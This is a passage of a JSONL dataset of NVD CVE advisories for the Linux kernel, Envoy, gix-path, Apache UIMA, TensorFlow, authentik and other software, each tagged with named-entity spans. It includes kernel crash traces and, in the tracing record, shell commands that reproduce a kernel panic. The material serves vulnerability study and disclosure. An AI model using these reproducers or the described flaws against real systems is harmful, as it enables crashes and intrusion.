sigd_close() which could mark the vcc\nwith various flags (e.g., ATM_VF_RELEASED) after find_get_vcc() returns.\nHowever, sock_hold() guarantees the memory remains valid, so this race\nonly affects the logical state, not memory safety.\n\n[1]: https://gist.github.com/mrpre/1ba5949c45529c511152e2f4c755b0f3", "spans": {"URL: https://gist.github.com/mrpre/1ba5949c45529c511152e2f4c755b0f3": [[1622, 1684]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31411"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Defer work in bpf_timer_cancel_and_free\n\nCurrently, the same case as previous patch (two timer callbacks trying\nto cancel each other) can be invoked through bpf_map_update_elem as\nwell, or more precisely, freeing map elements containing timers. Since\nthis relies on hrtimer_cancel as well, it is prone to the same deadlock\nsituation as the previous patch.\n\nIt would be sufficient to use hrtimer_try_to_cancel to fix this problem,\nas the timer cannot be enqueued after async_cancel_and_free. Once\nasync_cancel_and_free has been done, the timer must be reinitialized\nbefore it can be armed again. The callback running in parallel trying to\narm the timer will fail, and freeing bpf_hrtimer without waiting is\nsufficient (given kfree_rcu), and bpf_timer_cb will return\nHRTIMER_NORESTART, preventing the timer from being rearmed again.\n\nHowever, there exists a UAF scenario where the callback arms the timer\nbefore entering this function, such that if cancellation fails (due to\ntimer callback invoking this routine, or the target timer callback\nrunning concurrently). In such a case, if the timer expiration is\nsignificantly far in the future, the RCU grace period expiration\nhappening before it will free the bpf_hrtimer state and along with it\nthe struct hrtimer, that is enqueued.\n\nHence, it is clear cancellation needs to occur after\nasync_cancel_and_free, and yet it cannot be done inline due to deadlock\nissues. We thus modify bpf_timer_cancel_and_free to defer work to the\nglobal workqueue, adding a work_struct alongside rcu_head (both used at\n_different_ points of time, so can share space).\n\nUpdate existing code comments to reflect the new state of affairs.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-41045"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/smc: do not leave a dangling sk pointer in __smc_create()\n\nThanks to commit 4bbd360a5084 (\"socket: Print pf->create() when\nit does not clear sock->sk on failure.\"), syzbot found an issue with AF_SMC:\n\nsmc_create must clear sock->sk on failure, family: 43, type: 1, protocol: 0\n WARNING: CPU: 0 PID: 5827 at net/socket.c:1565 __sock_create+0x96f/0xa30 net/socket.c:1563\nModules linked in:\nCPU: 0 UID: 0 PID: 5827 Comm: syz-executor259 Not tainted 6.12.0-rc6-next-20241106-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\n RIP: 0010:__sock_create+0x96f/0xa30 net/socket.c:1563\nCode: 03 00 74 08 4c 89 e7 e8 4f 3b 85 f8 49 8b 34 24 48 c7 c7 40 89 0c 8d 8b 54 24 04 8b 4c 24 0c 44 8b 44 24 08 e8 32 78 db f7 90 <0f> 0b 90 90 e9 d3 fd ff ff 89 e9 80 e1 07 fe c1 38 c1 0f 8c ee f7\nRSP: 0018:ffffc90003e4fda0 EFLAGS: 00010246\nRAX: 099c6f938c7f4700 RBX: 1ffffffff1a595fd RCX: ffff888034823c00\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000\nRBP: 00000000ffffffe9 R08: ffffffff81567052 R09: 1ffff920007c9f50\nR10: dffffc0000000000 R11: fffff520007c9f51 R12: ffffffff8d2cafe8\nR13: 1ffffffff1a595fe R14: ffffffff9a789c40 R15: ffff8880764298c0\nFS:  000055557b518380(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007fa62ff43225 CR3: 0000000031628000 CR4: 00000000003526f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n  sock_create net/socket.c:1616 [inline]\n  __sys_socket_create net/socket.c:1653 [inline]\n  __sys_socket+0x150/0x3c0 net/socket.c:1700\n  __do_sys_socket net/socket.c:1714 [inline]\n  __se_sys_socket net/socket.c:1712 [inline]\n\nFor reference, see commit 2d859aff775d (\"Merge branch\n'do-not-leave-dangling-sk-pointers-in-pf-create-functions'\")", "spans": {"FILEPATH: /13/2024": [[638, 646]], "FILEPATH: socket.c": [[384, 392], [428, 436], [688, 696], [1639, 1647], [1688, 1696], [1742, 1750], [1778, 1786], [1823, 1831]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[572, 578], [579, 585], [601, 607], [629, 635]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50293"}}
{"text": "Envoy is an open source L7 proxy and communication bus designed for large modern service oriented architectures. In affected versions Envoy transitions a H/2 connection to the CLOSED state when it receives a GOAWAY frame without any streams outstanding. The connection state is transitioned to DRAINING when it receives a SETTING frame with the SETTINGS_MAX_CONCURRENT_STREAMS parameter set to 0. Receiving these two frames in the same I/O event results in abnormal termination of the Envoy process due to invalid state transition from CLOSED to DRAINING. A sequence of H/2 frames delivered by an untrusted upstream server will result in Denial of Service in the presence of untrusted **upstream** servers. Envoy versions 1.19.1, 1.18.4 contain fixes to stop processing of pending H/2 frames after connection transition to the CLOSED state.", "spans": {"VULNERABILITY: Denial of Service": [[638, 655]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32780"}}
{"text": "`gix-path` is a crate of the `gitoxide` project (an implementation of `git` written in Rust) dealing paths and their conversions. Prior to version 0.10.11, `gix-path` runs `git` to find the path of a configuration file associated with the `git` installation, but improperly resolves paths containing unusual or non-ASCII characters, in rare cases enabling a local attacker to inject configuration leading to code execution. Version 0.10.11 contains a patch for the issue.\n\nIn `gix_path::env`, the underlying implementation of the `installation_config` and `installation_config_prefix` functions calls `git config -l --show-origin` to find the path of a file to treat as belonging to the `git` installation. Affected versions of `gix-path` do not pass `-z`/`--null` to cause `git` to report literal paths. Instead, to cover the occasional case that `git` outputs a quoted path, they attempt to parse the path by stripping the quotation marks. The problem is that, when a path is quoted, it may change in substantial ways beyond the concatenation of quotation marks. If not reversed, these changes can result in another valid path that is not equivalent to the original.\n\nOn a single-user system, it is not possible to exploit this, unless `GIT_CONFIG_SYSTEM` and `GIT_CONFIG_GLOBAL` have been set to unusual values or Git has been installed in an unusual way. Such a scenario is not expected. Exploitation is unlikely even on a multi-user system, though it is plausible in some uncommon configurations or use cases. In general, exploitation is more likely to succeed if users are expected to install `git` themselves, and are likely to do so in predictable locations; locations where `git` is installed, whether due to usernames in their paths or otherwise, contain characters that `git` quotes by default in paths, such as non-English letters and accented letters; a custom `system`-scope configuration file is specified with the `GIT_CONFIG_SYSTEM` environment variable, and its path is in an unusual location or has strangely named components; or a `system`-scope configuration file is absent, empty, or suppressed by means other than `GIT_CONFIG_NOSYSTEM`. Currently, `gix-path` can treat a `global`-scope configuration file as belonging to the installation if no higher scope configuration file is available. This increases the likelihood of exploitation even on a system where `git` is installed system-wide in an ordinary way. However, exploitation is expected to be very difficult even under any combination of those factors.", "spans": {"VULNERABILITY: code execution": [[408, 422]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-45405"}}
{"text": "Deserialization of Untrusted Data, Improper Input Validation vulnerability in Apache UIMA Java SDK, Apache UIMA Java SDK, Apache UIMA Java SDK, Apache UIMA Java SDK.This issue affects Apache UIMA Java SDK: before 3.5.0.\n\nUsers are recommended to upgrade to version 3.5.0, which fixes the issue.\n\nThere are several locations in the code where serialized Java objects are deserialized without verifying the data. This affects in particular:\n  *  the deserialization of a Java-serialized CAS, but also other binary CAS formats that include TSI information using the CasIOUtils class;\n  *  the CAS Editor Eclipse plugin which uses the the CasIOUtils class to load data;\n  *  the deserialization of a Java-serialized CAS of the Vinci Analysis Engine service which can receive using Java-serialized CAS objects over network connections;\n  *  the CasAnnotationViewerApplet and the CasTreeViewerApplet;\n  *  the checkpointing feature of the CPE module.\n\nNote that the UIMA framework by default does not start any remotely accessible services (i.e. Vinci) that would be vulnerable to this issue. A user or developer would need to make an active choice to start such a service. However, users or developers may use the CasIOUtils in their own applications and services to parse serialized CAS data. They are affected by this issue unless they ensure that the data passed to CasIOUtils is not a serialized Java object.\n\nWhen using Vinci or using CasIOUtils in own services/applications, the unrestricted deserialization of Java-serialized CAS files may allow arbitrary (remote) code execution.\n\nAs a remedy, it is possible to set up a global or context-specific ObjectInputFilter (cf.  https://openjdk.org/jeps/290  and  https://openjdk.org/jeps/415 ) if running UIMA on a Java version that supports it. \n\nNote that Java 1.8 does not support the ObjectInputFilter, so there is no remedy when running on this out-of-support platform. An upgrade to a recent Java version is strongly recommended if you need to secure an UIMA version that is affected by this issue.\n\nTo mitigate the issue on a Java 9+ platform, you can configure a filter pattern through the \"jdk.serialFilter\" system property using a semicolon as a separator:\n\nTo allow deserializing Java-serialized binary CASes, add the classes:\n  *  org.apache.uima.cas.impl.CASCompleteSerializer\n  *  org.apache.uima.cas.impl.CASMgrSerializer\n  *  org.apache.uima.cas.impl.CASSerializer\n  *  java.lang.String\n\nTo allow deserializing CPE Checkpoint data, add the following classes (and any custom classes your application uses to store its checkpoints):\n  *  org.apache.uima.collection.impl.cpm.CheckpointData\n  *  org.apache.uima.util.ProcessTrace\n  *  org.apache.uima.util.impl.ProcessTrace_impl\n  *  org.apache.uima.collection.base_cpm.SynchPoint\n\nMake sure to use \"!*\" as the final component to the filter pattern to disallow deserialization of any classes not listed in the pattern.\n\nApache UIMA 3.5.0 uses tightly scoped ObjectInputFilters when reading Java-serialized data depending on the type of data being expected. Configuring a global filter is not necessary with this version.", "spans": {"URL: https://openjdk.org/jeps/290": [[1675, 1703]], "URL: https://openjdk.org/jeps/415": [[1710, 1738]], "SYSTEM: Java": [[90, 94], [112, 116], [134, 138], [156, 160], [196, 200], [353, 357], [469, 473], [696, 700], [777, 781], [1395, 1399], [1512, 1516], [1762, 1766], [1805, 1809], [1945, 1949], [2080, 2084], [2238, 2242], [2999, 3003]], "ORGANIZATION: Eclipse": [[601, 608]], "ORGANIZATION: Apache": [[78, 84], [100, 106], [122, 128], [144, 150], [184, 190], [2929, 2935]], "VULNERABILITY: Improper Input Validation": [[35, 60]], "VULNERABILITY: Deserialization": [[0, 15]], "VULNERABILITY: deserialization": [[448, 463], [675, 690], [1493, 1508], [2870, 2885]], "VULNERABILITY: code execution": [[1567, 1581]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-39913"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing/hist: Fix out-of-bound write on 'action_data.var_ref_idx'\n\nWhen generate a synthetic event with many params and then create a trace\naction for it [1], kernel panic happened [2].\n\nIt is because that in trace_action_create() 'data->n_params' is up to\nSYNTH_FIELDS_MAX (current value is 64), and array 'data->var_ref_idx'\nkeeps indices into array 'hist_data->var_refs' for each synthetic event\nparam, but the length of 'data->var_ref_idx' is TRACING_MAP_VARS_MAX\n(current value is 16), so out-of-bound write happened when 'data->n_params'\nmore than 16. In this case, 'data->match_data.event' is overwritten and\neventually cause the panic.\n\nTo solve the issue, adjust the length of 'data->var_ref_idx' to be\nSYNTH_FIELDS_MAX and add sanity checks to avoid out-of-bound write.\n\n[1]\n # cd /sys/kernel/tracing/\n # echo \"my_synth_event int v1; int v2; int v3; int v4; int v5; int v6;\\\nint v7; int v8; int v9; int v10; int v11; int v12; int v13; int v14;\\\nint v15; int v16; int v17; int v18; int v19; int v20; int v21; int v22;\\\nint v23; int v24; int v25; int v26; int v27; int v28; int v29; int v30;\\\nint v31; int v32; int v33; int v34; int v35; int v36; int v37; int v38;\\\nint v39; int v40; int v41; int v42; int v43; int v44; int v45; int v46;\\\nint v47; int v48; int v49; int v50; int v51; int v52; int v53; int v54;\\\nint v55; int v56; int v57; int v58; int v59; int v60; int v61; int v62;\\\nint v63\" >> synthetic_events\n # echo 'hist:keys=pid:ts0=common_timestamp.usecs if comm==\"bash\"' >> \\\nevents/sched/sched_waking/trigger\n # echo \"hist:keys=next_pid:onmatch(sched.sched_waking).my_synth_event(\\\npid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,\\\npid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,\\\npid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,pid,\\\npid,pid,pid,pid,pid,pid,pid,pid,pid)\" >> events/sched/sched_switch/trigger\n\n[2]\nBUG: unable to handle page fault for address: ffff91c900000000\nPGD 61001067 P4D 61001067 PUD 0\nOops: 0000 [#1] PREEMPT SMP NOPTI\nCPU: 2 PID: 322 Comm: bash Tainted: G        W          6.1.0-rc8+ #229\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS\nrel-1.15.0-0-g2dd4b9b3f840-prebuilt.qemu.org 04/01/2014\nRIP: 0010:strcmp+0xc/0x30\nCode: 75 f7 31 d2 44 0f b6 04 16 44 88 04 11 48 83 c2 01 45 84 c0 75 ee\nc3 cc cc cc cc 0f 1f 00 31 c0 eb 08 48 83 c0 01 84 d2 74 13 <0f> b6 14\n07 3a 14 06 74 ef 19 c0 83 c8 01 c3 cc cc cc cc 31 c3\nRSP: 0018:ffff9b3b00f53c48 EFLAGS: 00000246\nRAX: 0000000000000000 RBX: ffffffffba958a68 RCX: 0000000000000000\nRDX: 0000000000000010 RSI: ffff91c943d33a90 RDI: ffff91c900000000\nRBP: ffff91c900000000 R08: 00000018d604b529 R09: 0000000000000000\nR10: ffff91c9483eddb1 R11: ffff91ca483eddab R12: ffff91c946171580\nR13: ffff91c9479f0538 R14: ffff91c9457c2848 R15: ffff91c9479f0538\nFS:  00007f1d1cfbe740(0000) GS:ffff91c9bdc80000(0000)\nknlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: ffff91c900000000 CR3: 0000000006316000 CR4: 00000000000006e0\nCall Trace:\n <TASK>\n __find_event_file+0x55/0x90\n action_create+0x76c/0x1060\n event_hist_trigger_parse+0x146d/0x2060\n ? event_trigger_write+0x31/0xd0\n trigger_process_regex+0xbb/0x110\n event_trigger_write+0x6b/0xd0\n vfs_write+0xc8/0x3e0\n ? alloc_fd+0xc0/0x160\n ? preempt_count_add+0x4d/0xa0\n ? preempt_count_add+0x70/0xa0\n ksys_write+0x5f/0xe0\n do_syscall_64+0x3b/0x90\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\nRIP: 0033:0x7f1d1d0cf077\nCode: 64 89 02 48 c7 c0 ff ff ff ff eb bb 0f 1f 80 00 00 00 00 f3 0f 1e\nfa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 01 00 00 00 0f 05 <48> 3d 00\nf0 ff ff 77 51 c3 48 83 ec 28 48 89 54 24 18 48 89 74\nRSP: 002b:00007ffcebb0e568 EFLAGS: 00000246 ORIG_RAX: 0000000000000001\nRAX: ffffffffffffffda RBX: 0000000000000143 RCX: 00007f1d1d0cf077\nRDX: 0000000000000143 RSI: 00005639265aa7e0 RDI: 0000000000000001\nRBP: 00005639265aa7e0 R08: 000000000000000a R09: 0000000000000142\nR\n---truncated---", "spans": {"DOMAIN: rel-1.15.0-0-g2dd4b9b3f840-prebuilt.qemu.org": [[2233, 2277]], "FILEPATH: /sys/kernel/tracing": [[860, 879]], "FILEPATH: /sched/sched_waking/trigger": [[1569, 1596]], "FILEPATH: /sched/sched_switch/trigger": [[1939, 1966]], "FILEPATH: /01/2014": [[2280, 2288]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[2188, 2192]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50553"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: core: Remove the /proc/scsi/${proc_name} directory earlier\n\nRemove the /proc/scsi/${proc_name} directory earlier to fix a race\ncondition between unloading and reloading kernel modules. This fixes a bug\nintroduced in 2009 by commit 77c019768f06 (\"[SCSI] fix /proc memory leak in\nthe SCSI core\").\n\nFix the following kernel warning:\n\nproc_dir_entry 'scsi/scsi_debug' already registered\nWARNING: CPU: 19 PID: 27986 at fs/proc/generic.c:376 proc_register+0x27d/0x2e0\nCall Trace:\n proc_mkdir+0xb5/0xe0\n scsi_proc_hostdir_add+0xb5/0x170\n scsi_host_alloc+0x683/0x6c0\n sdebug_driver_probe+0x6b/0x2d0 [scsi_debug]\n really_probe+0x159/0x540\n __driver_probe_device+0xdc/0x230\n driver_probe_device+0x4f/0x120\n __device_attach_driver+0xef/0x180\n bus_for_each_drv+0xe5/0x130\n __device_attach+0x127/0x290\n device_initial_probe+0x17/0x20\n bus_probe_device+0x110/0x130\n device_add+0x673/0xc80\n device_register+0x1e/0x30\n sdebug_add_host_helper+0x1a7/0x3b0 [scsi_debug]\n scsi_debug_init+0x64f/0x1000 [scsi_debug]\n do_one_initcall+0xd7/0x470\n do_init_module+0xe7/0x330\n load_module+0x122a/0x12c0\n __do_sys_finit_module+0x124/0x1a0\n __x64_sys_finit_module+0x46/0x50\n do_syscall_64+0x38/0x80\n entry_SYSCALL_64_after_hwframe+0x46/0xb0", "spans": {"FILEPATH: /proc/scsi": [[92, 102], [146, 156]], "FILEPATH: /proc/generic.c": [[491, 506]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[338, 349]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53140"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. An attacker can trigger undefined behavior by binding to null pointer in `tf.raw_ops.ParameterizedTruncatedNormal`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/3f6fe4dfef6f57e768260b48166c27d148f3015f/tensorflow/core/kernels/parameterized_truncated_normal_op.cc#L630) does not validate input arguments before accessing the first element of `shape`. If `shape` argument is empty, then `shape_tensor.flat<T>()` is an empty array. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/3f6fe4dfef6f57e768260b48166c27d148f3015f/tensorflow/core/kernels/parameterized_truncated_normal_op.cc#L630": [[222, 374]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29568"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. An attacker can write outside the bounds of heap allocated arrays by passing invalid arguments to `tf.raw_ops.Dilation2DBackpropInput`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/afd954e65f15aea4d438d0a219136fc4a63a573d/tensorflow/core/kernels/dilation_ops.cc#L321-L322) does not validate before writing to the output array. The values for `h_out` and `w_out` are guaranteed to be in range for `out_backprop` (as they are loop indices bounded by the size of the array). However, there are no similar guarantees relating `h_in_max`/`w_in_max` and `in_backprop`. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/afd954e65f15aea4d438d0a219136fc4a63a573d/tensorflow/core/kernels/dilation_ops.cc#L321-L322": [[242, 378]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29566"}}
{"text": "Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). Supported versions that are affected are Prior to 5.2.44, prior to 6.0.24 and prior to 6.1.12. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. Note: The CVE-2020-14711 is applicable to macOS host only. CVSS 3.1 Base Score 6.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H).", "spans": {"CVE_ID: CVE-2020-14711": [[542, 556]], "SYSTEM: VirtualBox": [[31, 41], [303, 313], [347, 357], [520, 530]], "SYSTEM: macOS": [[574, 579]], "ORGANIZATION: Oracle": [[21, 27], [53, 59], [293, 299], [337, 343], [510, 516]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14711"}}
{"text": "authentik is an open-source Identity Provider. Prior to versions 2023.4.3 and 2023.5.5, authentik does not verify the source of the X-Forwarded-For and X-Real-IP headers, both in the Python code and the go code. Only authentik setups that are directly accessible by users without a reverse proxy are susceptible to this. Possible spoofing of IP addresses in logs, downstream applications proxied by (built in) outpost, IP bypassing in custom flows if used.\n\nThis poses a possible security risk when someone has flows or policies that check the user's IP address, e.g. when they want to ignore the user's 2 factor authentication when the user is connected to the company network. A second security risk is that the IP addresses in the logfiles and user sessions are not reliable anymore. Anybody can spoof this address and one cannot verify that the user has logged in from the IP address that is in their account's log. A third risk is that this header is passed on to the proxied application behind an outpost. The application may do any kind of verification, logging, blocking or rate limiting based on the IP address, and this IP address can be overridden by anybody that want to.\n\nVersions 2023.4.3 and 2023.5.5 contain a patch for this issue.", "spans": {"SYSTEM: Python": [[183, 189]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-36456"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nblock: Fix possible memory leak for rq_wb on add_disk failure\n\nkmemleak reported memory leaks in device_add_disk():\n\nkmemleak: 3 new suspected memory leaks\n\nunreferenced object 0xffff88800f420800 (size 512):\n  comm \"modprobe\", pid 4275, jiffies 4295639067 (age 223.512s)\n  hex dump (first 32 bytes):\n    04 00 00 00 08 00 00 00 01 00 00 00 00 00 00 00  ................\n    00 e1 f5 05 00 00 00 00 00 00 00 00 00 00 00 00  ................\n  backtrace:\n    [<00000000d3662699>] kmalloc_trace+0x26/0x60\n    [<00000000edc7aadc>] wbt_init+0x50/0x6f0\n    [<0000000069601d16>] wbt_enable_default+0x157/0x1c0\n    [<0000000028fc393f>] blk_register_queue+0x2a4/0x420\n    [<000000007345a042>] device_add_disk+0x6fd/0xe40\n    [<0000000060e6aab0>] nbd_dev_add+0x828/0xbf0 [nbd]\n    ...\n\nIt is because the memory allocated in wbt_enable_default() is not\nreleased in device_add_disk() error path.\nNormally, these memory are freed in:\n\ndel_gendisk()\n  rq_qos_exit()\n    rqos->ops->exit(rqos);\n      wbt_exit()\n\nSo rq_qos_exit() is called to free the rq_wb memory for wbt_init().\nHowever in the error path of device_add_disk(), only\nblk_unregister_queue() is called and make rq_wb memory leaked.\n\nAdd rq_qos_exit() to the error path to fix it.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[89, 100]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49902"}}
{"text": "Prism is vulnerable to Cross-Site Scripting. The easing preview of the Previewers plugin has an XSS vulnerability that allows attackers to execute arbitrary code in Safari and Internet Explorer. This impacts all Safari and Internet Explorer users of Prism >=v1.1.0 that use the _Previewers_ plugin (>=v1.10.0) or the _Previewer: Easing_ plugin (v1.1.0 to v1.9.0). This problem is fixed in version 1.21.0. To workaround the issue without upgrading, disable the easing preview on all impacted code blocks. You need Prism v1.10.0 or newer to apply this workaround.", "spans": {"SYSTEM: Internet Explorer": [[176, 193], [223, 240]], "SYSTEM: Safari": [[165, 171], [212, 218]], "VULNERABILITY: Cross-Site Scripting": [[23, 43]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15138"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/qspinlock: Fix deadlock in MCS queue\n\nIf an interrupt occurs in queued_spin_lock_slowpath() after we increment\nqnodesp->count and before node->lock is initialized, another CPU might\nsee stale lock values in get_tail_qnode(). If the stale lock value happens\nto match the lock on that CPU, then we write to the \"next\" pointer of\nthe wrong qnode. This causes a deadlock as the former CPU, once it becomes\nthe head of the MCS queue, will spin indefinitely until it's \"next\" pointer\nis set by its successor in the queue.\n\nRunning stress-ng on a 16 core (16EC/16VP) shared LPAR, results in\noccasional lockups similar to the following:\n\n   $ stress-ng --all 128 --vm-bytes 80% --aggressive \\\n               --maximize --oomable --verify  --syslog \\\n               --metrics  --times  --timeout 5m\n\n   watchdog: CPU 15 Hard LOCKUP\n   ......\n   NIP [c0000000000b78f4] queued_spin_lock_slowpath+0x1184/0x1490\n   LR [c000000001037c5c] _raw_spin_lock+0x6c/0x90\n   Call Trace:\n    0xc000002cfffa3bf0 (unreliable)\n    _raw_spin_lock+0x6c/0x90\n    raw_spin_rq_lock_nested.part.135+0x4c/0xd0\n    sched_ttwu_pending+0x60/0x1f0\n    __flush_smp_call_function_queue+0x1dc/0x670\n    smp_ipi_demux_relaxed+0xa4/0x100\n    xive_muxed_ipi_action+0x20/0x40\n    __handle_irq_event_percpu+0x80/0x240\n    handle_irq_event_percpu+0x2c/0x80\n    handle_percpu_irq+0x84/0xd0\n    generic_handle_irq+0x54/0x80\n    __do_irq+0xac/0x210\n    __do_IRQ+0x74/0xd0\n    0x0\n    do_IRQ+0x8c/0x170\n    hardware_interrupt_common_virt+0x29c/0x2a0\n   --- interrupt: 500 at queued_spin_lock_slowpath+0x4b8/0x1490\n   ......\n   NIP [c0000000000b6c28] queued_spin_lock_slowpath+0x4b8/0x1490\n   LR [c000000001037c5c] _raw_spin_lock+0x6c/0x90\n   --- interrupt: 500\n    0xc0000029c1a41d00 (unreliable)\n    _raw_spin_lock+0x6c/0x90\n    futex_wake+0x100/0x260\n    do_futex+0x21c/0x2a0\n    sys_futex+0x98/0x270\n    system_call_exception+0x14c/0x2f0\n    system_call_vectored_common+0x15c/0x2ec\n\nThe following code flow illustrates how the deadlock occurs.\nFor the sake of brevity, assume that both locks (A and B) are\ncontended and we call the queued_spin_lock_slowpath() function.\n\n        CPU0                                   CPU1\n        ----                                   ----\n  spin_lock_irqsave(A)                          |\n  spin_unlock_irqrestore(A)                     |\n    spin_lock(B)                                |\n         |                                      |\n         ▼                                      |\n   id = qnodesp->count++;                       |\n  (Note that nodes[0].lock == A)                |\n         |                                      |\n         ▼                                      |\n      Interrupt                                 |\n  (happens before \"nodes[0].lock = B\")          |\n         |                                      |\n         ▼                                      |\n  spin_lock_irqsave(A)                          |\n         |                                      |\n         ▼                                      |\n   id = qnodesp->count++                        |\n   nodes[1].lock = A                            |\n         |                                      |\n         ▼                                      |\n  Tail of MCS queue                             |\n         |                             spin_lock_irqsave(A)\n         ▼                                      |\n  Head of MCS queue                             ▼\n         |                             CPU0 is previous tail\n         ▼                                      |\n   Spin indefinitely                            ▼\n  (until \"nodes[1].next != NULL\")      prev = get_tail_qnode(A, CPU0)\n                                                |\n                                                ▼\n                                       prev == &qnodes[CPU0].nodes[0]\n                                     (as qnodes\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-46797"}}
{"text": "[Calendar01], [Calendar02], [PKOBO-News01], [PKOBO-vote01], [Telop01], [Gallery01], [CalendarForm01], and [Link01] [Calendar01] free edition ver1.0.0, [Calendar02] free edition ver1.0.0, [PKOBO-News01] free edition ver1.0.3 and earlier, [PKOBO-vote01] free edition ver1.0.1 and earlier, [Telop01] free edition ver1.0.0, [Gallery01] free edition ver1.0.3 and earlier, [CalendarForm01] free edition ver1.0.3 and earlier, and [Link01] free edition ver1.0.0 allows remote attackers to bypass authentication and log in to the product with administrative privileges via unspecified vectors.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-5616"}}
{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Libraries).  Supported versions that are affected are Oracle Java SE: 8u361, 8u361-perf, 11.0.18, 17.0.6, 20; Oracle GraalVM Enterprise Edition: 20.3.8, 21.3.4 and  22.3.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 3.7 (Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).", "spans": {"SYSTEM: Java": [[28, 32], [89, 93], [170, 174], [413, 417], [577, 581], [673, 677], [730, 734], [771, 775], [876, 880], [940, 944]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [82, 88], [163, 169], [219, 225], [406, 412], [422, 428], [570, 576], [586, 592]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-21938"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/rtrs-clt: destroy sysfs after removing session from active list\n\nA session can be removed dynamically by sysfs interface \"remove_path\" that\neventually calls rtrs_clt_remove_path_from_sysfs function.  The current\nrtrs_clt_remove_path_from_sysfs first removes the sysfs interfaces and\nfrees sess->stats object. Second it removes the session from the active\nlist.\n\nTherefore some functions could access non-connected session and access the\nfreed sess->stats object even-if they check the session status before\naccessing the session.\n\nFor instance rtrs_clt_request and get_next_path_min_inflight check the\nsession status and try to send IO to the session.  The session status\ncould be changed when they are trying to send IO but they could not catch\nthe change and update the statistics information in sess->stats object,\nand generate use-after-free problem.\n(see: \"RDMA/rtrs-clt: Check state of the rtrs_clt_sess before reading its\nstats\")\n\nThis patch changes the rtrs_clt_remove_path_from_sysfs to remove the\nsession from the active session list and then destroy the 